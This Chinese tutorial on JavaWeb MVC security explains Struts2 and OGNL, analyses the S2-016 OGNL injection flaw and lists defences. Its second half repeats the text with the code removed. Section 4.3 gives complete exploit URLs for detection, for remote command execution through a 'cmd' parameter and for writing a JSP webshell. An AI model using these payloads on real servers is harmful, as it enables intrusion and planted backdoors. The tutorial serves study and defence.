攻击JavaWeb应用[5]-MVC安全
字数 1806 2025-08-29 08:31:42

JavaWeb应用安全:MVC框架与Struts2漏洞详解

1. MVC框架基础

1.1 MVC概念与分层思想

MVC(Model-View-Controller)是一种将业务逻辑、数据与显示分离的设计模式:

  • Model层:处理业务逻辑,通常用JavaBean或EJB实现
  • View层:用户交互界面,可用JSP或其他技术实现
  • Controller层:Model与View间的桥梁,处理用户请求并选择视图

1.2 Model1与Model2对比

Model1特点

  • JSP处理所有客户端请求
  • 业务逻辑与显示高度耦合
  • 维护成本高,安全性差(SQL注入等漏洞常见)
  • 示例:http://localhost/show_user.jsp?id=2

Model2特点

  • 基于MVC模式(JSP+Servlet)
  • Servlet处理后端逻辑,JSP仅负责显示
  • 视图与业务逻辑分离
  • 示例:http://localhost/ShowUserServlet?id=2

2. JavaWeb核心组件

2.1 Servlet与Filter

Servlet配置

<servlet>
    <servlet-name>LoginServlet</servlet-name>
    <servlet-class>org.javaweb.servlet.LoginServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>LoginServlet</servlet-name>
    <url-pattern>/servlet/LoginServlet.action</url-pattern>
</servlet-mapping>

Filter配置

<filter>
    <filter-name>struts2</filter-name>
    <filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>struts2</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

2.2 Filter接口方法

public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;
public void destroy();

3. Struts2框架深入

3.1 Struts2架构

请求处理流程

  1. 客户端请求到达Tomcat
  2. 请求经过一系列过滤器
  3. FilterDispatcher调用ActionMapper决定调用哪个Action
  4. ActionProxy通过Configuration Manager查看struts.xml找到Action类
  5. ActionInvocation回调Action的execute方法
  6. 根据返回结果选择对应视图

3.2 核心概念

ActionContext

  • 存放Action执行时需要的对象
  • 包含request、session、application等map属性
  • 获取方式:ActionContext ac = ActionContext.getContext();

ValueStack

  • 存储Action对象引用的栈结构
  • 可通过OGNL表达式访问

OGNL(Object-Graph Navigation Language)

  • Struts2默认表达式语言
  • 功能:
    • 访问对象方法和属性
    • 调用静态方法和属性
    • 操作集合对象
    • 支持赋值和表达式串联

3.3 OGNL表达式示例

// 普通对象属性访问
user.name

// 静态方法调用
@java.lang.Runtime@getRuntime().exec('command')

// Java等效代码
java.lang.Runtime.getRuntime().exec("command");

4. Struts2漏洞分析

4.1 漏洞历史

Struts2历史上主要漏洞编号:S2-001到S2-017,多数与OGNL表达式注入有关。

4.2 S2-016漏洞分析

漏洞原理

  • 不当处理action映射导致OGNL注入
  • 通过特殊参数(如redirect:、action:)执行恶意OGNL

调试关键点

  1. 请求进入StrutsPrepareAndExecuteFilter.doFilter
  2. 调用PrepareOperations.findActionMapping
  3. DefaultActionMapper.handleSpecialParameters处理恶意参数
  4. 最终执行注入的OGNL表达式

4.3 漏洞利用POC

检测POC

http://target/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(i2)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43xman.getWriter().println(%22[/ok]%22)')(d))

命令执行POC

http://target/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43exec\75@java.lang.Runtime@getRuntime().exec(\43req.getParameter(%22cmd%22))')(d))&(i)(('\43is\75\43exec.getInputStream()')(d))&(i1)(('\43br\75new\40java.io.BufferedReader(new\40java.io.InputStreamReader(\43is))')(d))&(i2)(('\43res\75new\40char[50000]')(d))&(i3)(('\43br.read(\43res)')(d))&(i4)(('\43xman\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i5)(('\43xman.getWriter().println(new\40java.lang.String(\43res))')(d))&(i99)(('\43xman.getWriter().close()')(d))&cmd=ipconfig

Webshell写入POC

http://target/test.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(h)(('\43fos\75new\40java.io.FileOutputStream(new\40java.lang.StringBuilder(\43req.getRealPath(%22\u005c%22)).append(@java.io.File@separator).append(%22shell.jsp%22).toString())')(d))&(i)(('\43fos.write(\43req.getParameter(%22p%22).getBytes())')(d))&(i4)(('\43fos.close()')(d))&p=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

5. 防御措施

5.1 防护层级

  1. CDN层:拦截所有Struts2请求过滤OGNL代码
  2. Server层:在请求到达Struts2前拦截恶意请求
  3. 项目层:在Struts2的Filter前添加拦截层
  4. 框架层:使用Struts2拦截器拦截恶意请求
  5. OGNL层:修改OGNL源码包拦截恶意表达式
  6. 补丁方案:及时应用官方补丁
  7. 替代方案:考虑迁移到Spring MVC等更安全框架

5.2 具体防护方法

  1. 限制静态方法调用:
// struts.xml配置
<constant name="struts.ognl.allowStaticMethodAccess" value="false"/>
  1. 过滤特殊参数名:
  • redirect:
  • action:
  • redirectAction:
  1. 输入验证与过滤:
// 自定义Filter过滤恶意OGNL表达式
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
    throws IOException, ServletException {
    HttpServletRequest req = (HttpServletRequest) request;
    Enumeration<String> names = req.getParameterNames();
    while(names.hasMoreElements()) {
        String name = names.nextElement();
        if(name.contains("redirect:") || name.contains("action:")) {
            throw new ServletException("Malicious parameter detected");
        }
    }
    chain.doFilter(request, response);
}

6. 附录:关键知识点总结

  1. MVC分层:理解Model-View-Controller各层职责
  2. OGNL表达式:掌握其语法和危险操作
  3. Struts2流程:熟悉请求处理完整生命周期
  4. 漏洞原理:理解参数注入导致OGNL执行的过程
  5. 防护思路:多层次防御,从输入验证到架构替换

通过深入理解这些知识点,可以有效提高JavaWeb应用的安全性,防范类似Struts2漏洞的攻击。

JavaWeb应用安全:MVC框架与Struts2漏洞详解 1. MVC框架基础 1.1 MVC概念与分层思想 MVC(Model-View-Controller)是一种将业务逻辑、数据与显示分离的设计模式: Model层 :处理业务逻辑,通常用JavaBean或EJB实现 View层 :用户交互界面,可用JSP或其他技术实现 Controller层 :Model与View间的桥梁,处理用户请求并选择视图 1.2 Model1与Model2对比 Model1特点 : JSP处理所有客户端请求 业务逻辑与显示高度耦合 维护成本高,安全性差(SQL注入等漏洞常见) 示例: http://localhost/show_user.jsp?id=2 Model2特点 : 基于MVC模式(JSP+Servlet) Servlet处理后端逻辑,JSP仅负责显示 视图与业务逻辑分离 示例: http://localhost/ShowUserServlet?id=2 2. JavaWeb核心组件 2.1 Servlet与Filter Servlet配置 : Filter配置 : 2.2 Filter接口方法 3. Struts2框架深入 3.1 Struts2架构 请求处理流程 : 客户端请求到达Tomcat 请求经过一系列过滤器 FilterDispatcher调用ActionMapper决定调用哪个Action ActionProxy通过Configuration Manager查看struts.xml找到Action类 ActionInvocation回调Action的execute方法 根据返回结果选择对应视图 3.2 核心概念 ActionContext : 存放Action执行时需要的对象 包含request、session、application等map属性 获取方式: ActionContext ac = ActionContext.getContext(); ValueStack : 存储Action对象引用的栈结构 可通过OGNL表达式访问 OGNL(Object-Graph Navigation Language) : Struts2默认表达式语言 功能: 访问对象方法和属性 调用静态方法和属性 操作集合对象 支持赋值和表达式串联 3.3 OGNL表达式示例 4. Struts2漏洞分析 4.1 漏洞历史 Struts2历史上主要漏洞编号:S2-001到S2-017,多数与OGNL表达式注入有关。 4.2 S2-016漏洞分析 漏洞原理 : 不当处理action映射导致OGNL注入 通过特殊参数(如redirect:、action:)执行恶意OGNL 调试关键点 : 请求进入 StrutsPrepareAndExecuteFilter.doFilter 调用 PrepareOperations.findActionMapping DefaultActionMapper.handleSpecialParameters 处理恶意参数 最终执行注入的OGNL表达式 4.3 漏洞利用POC 检测POC : 命令执行POC : Webshell写入POC : 5. 防御措施 5.1 防护层级 CDN层 :拦截所有Struts2请求过滤OGNL代码 Server层 :在请求到达Struts2前拦截恶意请求 项目层 :在Struts2的Filter前添加拦截层 框架层 :使用Struts2拦截器拦截恶意请求 OGNL层 :修改OGNL源码包拦截恶意表达式 补丁方案 :及时应用官方补丁 替代方案 :考虑迁移到Spring MVC等更安全框架 5.2 具体防护方法 限制静态方法调用: 过滤特殊参数名: redirect: action: redirectAction: 输入验证与过滤: 6. 附录:关键知识点总结 MVC分层 :理解Model-View-Controller各层职责 OGNL表达式 :掌握其语法和危险操作 Struts2流程 :熟悉请求处理完整生命周期 漏洞原理 :理解参数注入导致OGNL执行的过程 防护思路 :多层次防御,从输入验证到架构替换 通过深入理解这些知识点,可以有效提高JavaWeb应用的安全性,防范类似Struts2漏洞的攻击。